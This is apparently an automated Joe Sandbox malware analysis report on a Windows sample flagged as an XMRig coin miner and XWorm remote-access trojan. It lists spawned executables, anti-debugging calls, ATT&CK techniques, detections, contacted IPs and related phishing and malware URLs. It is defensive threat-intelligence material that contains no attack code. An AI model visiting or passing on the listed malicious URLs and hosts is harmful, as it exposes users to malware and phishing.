Source: C:\Windows\System\wJNkgSa.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\imwRXsl.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\bzSbRdi.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\Csmwgyb.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\defQfgC.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\XZxtJFw.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\MwFvbxc.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\hAOVVjq.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\oxCQuSo.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\vyHGCnK.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\mbSqRHL.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\VFkciqc.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\sdTevgk.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\eVVPPqR.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\VHwkuIa.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\WLWcTVM.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\WCbcoxD.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\QWtCxan.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\fpHmIIc.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\FGSooXz.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\mKdsHiQ.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\nWSykjl.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\LKurWpq.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\iHSYLud.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\tyQdqmC.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\sabRErB.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\ZTSJHKb.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\xNhRSWh.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\jtnQpnb.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\hEUEsIC.exe	Thread delayed: delay time: 41000
Source: C:\Windows\System\UqXZtcb.exe	Thread delayed: delay time: 41000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\System\xIpouRJ.exe

Code function: 4_2_00007FF66689D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_00007FF66689D6D4

Source: C:\Windows\System\xIpouRJ.exe

4_2_00007FF66685EBF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66689D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF66689D6D4
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC6D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF67DC6D6D4
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DCD4578 SetUnhandledExceptionFilter,	5_2_00007FF67DCD4578
Source: C:\Windows\System\wHnuprt.exe	Code function: 6_2_00007FF7C3BFD6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF7C3BFD6D4
Source: C:\Windows\System\wHnuprt.exe	Code function: 6_2_00007FF7C3C64578 SetUnhandledExceptionFilter,	6_2_00007FF7C3C64578
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB94578 SetUnhandledExceptionFilter,	7_2_00007FF6BEB94578
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB2D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00007FF6BEB2D6D4
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3D7D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FF6B3D7D6D4
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3DE4578 SetUnhandledExceptionFilter,	8_2_00007FF6B3DE4578
Source: C:\Windows\System\wkazDeV.exe	Code function: 9_2_00007FF68B3AD6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF68B3AD6D4
Source: C:\Windows\System\wkazDeV.exe	Code function: 9_2_00007FF68B414578 SetUnhandledExceptionFilter,	9_2_00007FF68B414578
Source: C:\Windows\System\VWrcuzM.exe	Code function: 10_2_00007FF748434578 SetUnhandledExceptionFilter,	10_2_00007FF748434578
Source: C:\Windows\System\VWrcuzM.exe	Code function: 10_2_00007FF7483CD6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00007FF7483CD6D4

Source: conhost.exe, 00000002.00000002.4019156239.00000271E8700000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: conhost.exe, 00000002.00000002.4019156239.00000271E8700000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: conhost.exe, 00000002.00000002.4019156239.00000271E8700000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: conhost.exe, 00000002.00000002.4019156239.00000271E8700000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match

File source: Process Memory Space: file.exe PID: 6220, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match

File source: Process Memory Space: file.exe PID: 6220, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	121 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Modify Registry	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Install Root Certificate	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	92%	ReversingLabs	Win64.Coinminer.XMRig
file.exe	100%	Avira	PUA/CoinMiner.Gen
file.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
github.com	140.82.121.4	true	false	unknown
raw.githubusercontent.com	185.199.111.133	true	true	unknown
github.githubassets.com	185.199.110.154	true	false	unknown
time.windows.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://github.githubassets.com/assets/imolorhe-9d771b1d4332.jpeg	false	unknown
https://github.githubassets.com/assets/chaynhq-4c5953025dca.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-9a621ecbf672.js	false	unknown
https://github.githubassets.com/assets/kpmg-c249f20c5173.svg	false	unknown
https://github.githubassets.com/assets/git-branch-productivity-c304b83d09c7.svg	false	unknown
https://github.githubassets.com/assets/sindresorhus-d3224f241a4d.jpeg	false	unknown
https://github.githubassets.com/assets/discussions-adf1d1b8b95c.css	false	unknown
https://github.githubassets.com/assets/element-registry-f52a50a0449b.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-bf7e5a3732fd.js	false	unknown
https://github.githubassets.com/assets/shape-0-df97fa6b0c27.svg	false	unknown
https://github.githubassets.com/assets/primer-react-css.8879c83c1311e6328466.module.css	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_KeybindingHint_KeybindingHint_js-node_modules_githu-3fe5e5-779b0a7957e4.js	false	unknown
https://github.githubassets.com/assets/homebrew-c7e38eeacb52.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_react_lib-esm_Fea-39267a-9ffd541aafbc.js	false	unknown
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-ffb979-ed6ff1fbeca4.js	false	unknown
https://github.githubassets.com/assets/dashboard-a70f6c490d6e.css	false	unknown
https://github.githubassets.com/assets/global-103ebe55f9d9.css	false	unknown
https://github.githubassets.com/assets/sap-96248a56d312.svg	false	unknown
https://github.githubassets.com/assets/notifications-global-54f34167118d.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2.js	false	unknown
https://github.githubassets.com/assets/illu-secret-scanning-2-88fb429376d6.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-6cf3320416b8.js	false	unknown
https://github.githubassets.com/assets/commandpost-18d45fffda67.png	false	unknown
https://github.githubassets.com/assets/footer-mona-d1c861cd8018.png	false	unknown
https://github.githubassets.com/assets/eslint-33bd6140c37f.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092-b9c7cf3107b7.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-a164c5ea9f62.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_stacktrace-pa-a71630-67856ad29bae.js	false	unknown
https://github.githubassets.com/assets/footer-copilot-54114bfd1d20.png	false	unknown
https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-112600808cf9.js	false	unknown
https://github.githubassets.com/assets/play-1844e8414ade.png	false	unknown
https://github.githubassets.com/assets/footer-blur-8bc8e1f23df6.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Dialog_Dialog_js-node_modules_primer_react_lib-esm_-34d71e-a36ca1cac968.js	false	unknown
https://github.githubassets.com/assets/ui_packages_failbot_failbot_ts-aabfa4ec15fe.js	false	unknown
https://github.githubassets.com/assets/home-339181319b7e.css	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js-540a2acf621f.js	false	unknown
https://github.githubassets.com/assets/bg-glow-blue-036b8dc2d1ce.png	false	unknown
https://raw.githubusercontent.com/	true	unknown
https://github.githubassets.com/assets/dark-9c5b7a476542.css	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-4aa4b0e95669.js	false	unknown
https://github.githubassets.com/assets/illu-mobile-chat-9e7549906574.webp	false	unknown
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-ab87c1d6c5c8.js	false	unknown
https://github.githubassets.com/assets/illu-ghas-list-84af1f1ce2b8.png	false	unknown
https://github.githubassets.com/assets/illu-copilot-editor-6474457a5b19.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-b73fdff77a4e.js	false	unknown
https://github.githubassets.com/assets/hero-mobile-7163f4f5de41.webp	false	unknown
https://github.githubassets.com/assets/git-branch-security-2-f6a799957581.svg	false	unknown
https://github.githubassets.com/assets/illu-projects-2-26077f1dd188.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-858e043fcf76.js	false	unknown
https://github.githubassets.com/assets/behaviors-b32b736e8b72.js	false	unknown
https://github.githubassets.com/assets/yyx990803-e11c7b140b17.jpeg	false	unknown
https://github.githubassets.com/assets/illu-codespaces-1d2d17e8b2b7.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-0e07cc183eed.js	false	unknown
https://github.githubassets.com/assets/directus-4da9e46da0ac.png	false	unknown
https://github.githubassets.com/assets/light-3e154969b9f9.css	false	unknown
https://github.githubassets.com/assets/github-elements-36d7dcef5a08.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-6d3967acd51c.js	false	unknown
https://github.githubassets.com/assets/shape-3-9e542b5c31b8.svg	false	unknown
https://github.githubassets.com/assets/illu-code-scanning-fc9dfb212aa3.png	false	unknown
https://github.githubassets.com/assets/footer-star-36e5b5724973.png	false	unknown
https://github.githubassets.com/assets/home-fa7c9cc8a53c.js	false	unknown
https://github.githubassets.com/assets/illu-discussions-2-b915a6dd867e.png	false	unknown
https://github.githubassets.com/assets/illu-pull-requests-2-280cc958fc05.png	false	unknown
https://github.githubassets.com/assets/sessions-f3ddee0032e4.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-9a8cd2-373766bf71f1.js	false	unknown
https://github.githubassets.com/assets/mercedes-fcf97d2d6ec4.svg	false	unknown
https://github.githubassets.com/assets/dayhaysoos-c50659cac73b.jpeg	false	unknown
https://github.githubassets.com/assets/shape-2-f30dcc9bd35c.svg	false	unknown
https://github.githubassets.com/assets/primer-primitives-4cf0d59ab51a.css	false	unknown
https://github.githubassets.com/assets/thumbnail-31b2a20df6fc.png	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-eb9d54-74622d897749.js	false	unknown
https://github.githubassets.com/assets/illu-dependabot-d98c73cc6724.png	false	unknown
https://github.com/	false	unknown
https://github.githubassets.com/assets/pg-f1f19955c4e4.svg	false	unknown
https://github.githubassets.com/assets/wp-runtime-f35b332dbe90.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-6b2a62-6fef0f2ad42a.js	false	unknown
https://github.githubassets.com/assets/git-branch-collaboration-2-e46b1fb1d363.svg	false	unknown
https://github.githubassets.com/assets/3m-0151c2fda0ce.svg	false	unknown
https://github.githubassets.com/assets/telus-df0c2109df99.svg	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-f36ad879d477.js	false	unknown
https://github.githubassets.com/assets/shape-1-c219318e479a.svg	false	unknown
https://github.githubassets.com/assets/react-lib-7b7b5264f6c1.js	false	unknown
https://github.githubassets.com/assets/primer-fefb1a332c28.css	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_js-e39b44f27fbb.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f4b251-f7c3b6081b19.js	false	unknown
https://github.githubassets.com/assets/globe-d6f3f4ee645a.jpg	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-e6893db9c19e.js	false	unknown
https://github.githubassets.com/assets/environment-2f240f7ed1b3.js	false	unknown
https://github.githubassets.com/assets/github-6da540aa3f84.css	false	unknown
https://github.githubassets.com/assets/ui_packages_updatable-content_updatable-content_ts-3f4401350bd7.js	false	unknown
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-6faacedf87fe.js	false	unknown
https://github.githubassets.com/assets/keyboard-shortcuts-dialog-3d3b90edc171.js	false	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_webgl-globe_dist_js_main_js-7ace716f3606.js	false	unknown
https://github.githubassets.com/assets/marketing-872ff8663359.js	false	unknown
https://github.githubassets.com/assets/hero-desktop-a38b0fd77b6c.webp	false	unknown
https://github.githubassets.com/assets/site-fbd7cf8f6ba2.css	false	unknown
https://github.githubassets.com/assets/footer-orb-a0438104a7a2.png	false	unknown
https://github.githubassets.com/assets/illu-copilot-sidebar-3d2efb504577.png	false	unknown
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-aeae6fcdf371.js	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.121.4	github.com	United States	36459	GITHUBUS	false
3.120.98.217	unknown	United States	16509	AMAZON-02US	true
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true
185.199.110.154	github.githubassets.com	Netherlands	54113	FASTLYUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522712
Start date and time:	2024-09-30 15:48:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@4779/516@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 51.145.123.29
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, twc.trafficmanager.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:49:51	API Interceptor	1x Sleep call for process: uxMRJKa.exe modified
09:49:51	API Interceptor	1x Sleep call for process: xIpouRJ.exe modified
09:49:51	API Interceptor	1x Sleep call for process: ERbKWDm.exe modified
09:49:51	API Interceptor	1x Sleep call for process: bJVoOik.exe modified
09:49:51	API Interceptor	1x Sleep call for process: wHnuprt.exe modified
09:49:52	API Interceptor	1x Sleep call for process: imwRXsl.exe modified
09:49:52	API Interceptor	1x Sleep call for process: wkazDeV.exe modified
09:49:52	API Interceptor	1x Sleep call for process: wJNkgSa.exe modified
09:49:52	API Interceptor	1x Sleep call for process: VWrcuzM.exe modified
09:49:53	API Interceptor	1x Sleep call for process: hAOVVjq.exe modified
09:49:53	API Interceptor	1x Sleep call for process: bzSbRdi.exe modified
09:49:53	API Interceptor	1x Sleep call for process: Csmwgyb.exe modified
09:49:53	API Interceptor	1x Sleep call for process: defQfgC.exe modified
09:49:53	API Interceptor	1x Sleep call for process: MwFvbxc.exe modified
09:49:53	API Interceptor	1x Sleep call for process: oxCQuSo.exe modified
09:49:53	API Interceptor	1x Sleep call for process: XZxtJFw.exe modified
09:49:54	API Interceptor	1x Sleep call for process: mKdsHiQ.exe modified
09:49:54	API Interceptor	1x Sleep call for process: vyHGCnK.exe modified
09:49:54	API Interceptor	1x Sleep call for process: VHwkuIa.exe modified
09:49:54	API Interceptor	1x Sleep call for process: FGSooXz.exe modified
09:49:54	API Interceptor	1x Sleep call for process: QWtCxan.exe modified
09:49:54	API Interceptor	1x Sleep call for process: fpHmIIc.exe modified
09:49:54	API Interceptor	1x Sleep call for process: sdTevgk.exe modified
09:49:54	API Interceptor	1x Sleep call for process: mbSqRHL.exe modified
09:49:54	API Interceptor	1x Sleep call for process: WCbcoxD.exe modified
09:49:54	API Interceptor	1x Sleep call for process: WLWcTVM.exe modified
09:49:54	API Interceptor	1x Sleep call for process: VFkciqc.exe modified
09:49:54	API Interceptor	1x Sleep call for process: eVVPPqR.exe modified
09:49:55	API Interceptor	1x Sleep call for process: tyQdqmC.exe modified
09:49:55	API Interceptor	1x Sleep call for process: iHSYLud.exe modified
09:49:55	API Interceptor	1x Sleep call for process: nWSykjl.exe modified
09:49:55	API Interceptor	1x Sleep call for process: sabRErB.exe modified
09:49:55	API Interceptor	1x Sleep call for process: LKurWpq.exe modified
09:49:56	API Interceptor	1x Sleep call for process: jtnQpnb.exe modified
09:49:56	API Interceptor	1x Sleep call for process: UqXZtcb.exe modified
09:49:56	API Interceptor	1x Sleep call for process: xNhRSWh.exe modified
09:49:56	API Interceptor	1x Sleep call for process: ZTSJHKb.exe modified
09:49:56	API Interceptor	1x Sleep call for process: hEUEsIC.exe modified
09:49:58	API Interceptor	1161716x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.121.4	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3
3.120.98.217	djk33wYmxX.exe	Get hash	malicious	Xmrig	Browse
	eRjPMfhswq.exe	Get hash	malicious	Xmrig	Browse
	vfk5zQPDm6.exe	Get hash	malicious	Xmrig	Browse
	lZJvRJVfBN.exe	Get hash	malicious	Xmrig	Browse
	J92WUldVoP.exe	Get hash	malicious	Xmrig	Browse
	KYYE76X2Wl.exe	Get hash	malicious	Xmrig	Browse
	GxBpMc29Lw.exe	Get hash	malicious	Xmrig	Browse
	FnCz8ZX1OE.exe	Get hash	malicious	Xmrig	Browse
	oF4oZlsv0P.exe	Get hash	malicious	Xmrig	Browse
	nc5WiZLaJa.exe	Get hash	malicious	Xmrig	Browse
185.199.111.133	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse
	https://rajkamalkanna.github.io/Facebook-Login-Page/	Get hash	malicious	HTMLPhisher	Browse
	https://vinitk1509.github.io/NETFLIX	Get hash	malicious	HTMLPhisher	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.26006.17204.rtf	Get hash	malicious	Remcos	Browse
	dvswiftsend_240917122612_9331095243.docx.doc	Get hash	malicious	Remcos	Browse
	https://metmaskiloi.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse
	http://sis030.github.io/1_Netflix_Deepdive/	Get hash	malicious	HTMLPhisher	Browse
	https://telagremn.com/	Get hash	malicious	Unknown	Browse
	http://tokenpuzz1le.com/	Get hash	malicious	HTMLPhisher	Browse
	https://tokenp0kczt.net/	Get hash	malicious	HTMLPhisher	Browse
185.199.110.154	https://rajkamalkanna.github.io/Facebook-Login-Page/	Get hash	malicious	HTMLPhisher	Browse
	http://metauscvxlkogimens.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse
	https://vinitk1509.github.io/NETFLIX	Get hash	malicious	HTMLPhisher	Browse
	https://trezor-docs-info.github.io/	Get hash	malicious	HTMLPhisher	Browse
	https://metmaskiloi.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse
	http://sis030.github.io/1_Netflix_Deepdive/	Get hash	malicious	HTMLPhisher	Browse
	https://arjunshaw.github.io/4.7-Project-1-Netflix-/	Get hash	malicious	HTMLPhisher	Browse
	http://tokenpuzz1le.com/	Get hash	malicious	HTMLPhisher	Browse
	http://auth-blockchain.vercel.app/	Get hash	malicious	Unknown	Browse
	http://servl-lnt.github.io/ap/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	factura proforma .docx.doc	Get hash	malicious	Remcos	Browse	185.199.109.133
	RFQ-5120240930 VENETA PESCA SRL.vbs	Get hash	malicious	VIP Keylogger	Browse	185.199.110.133
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.110.133
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.111.133
	C6DAEyTs7d.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
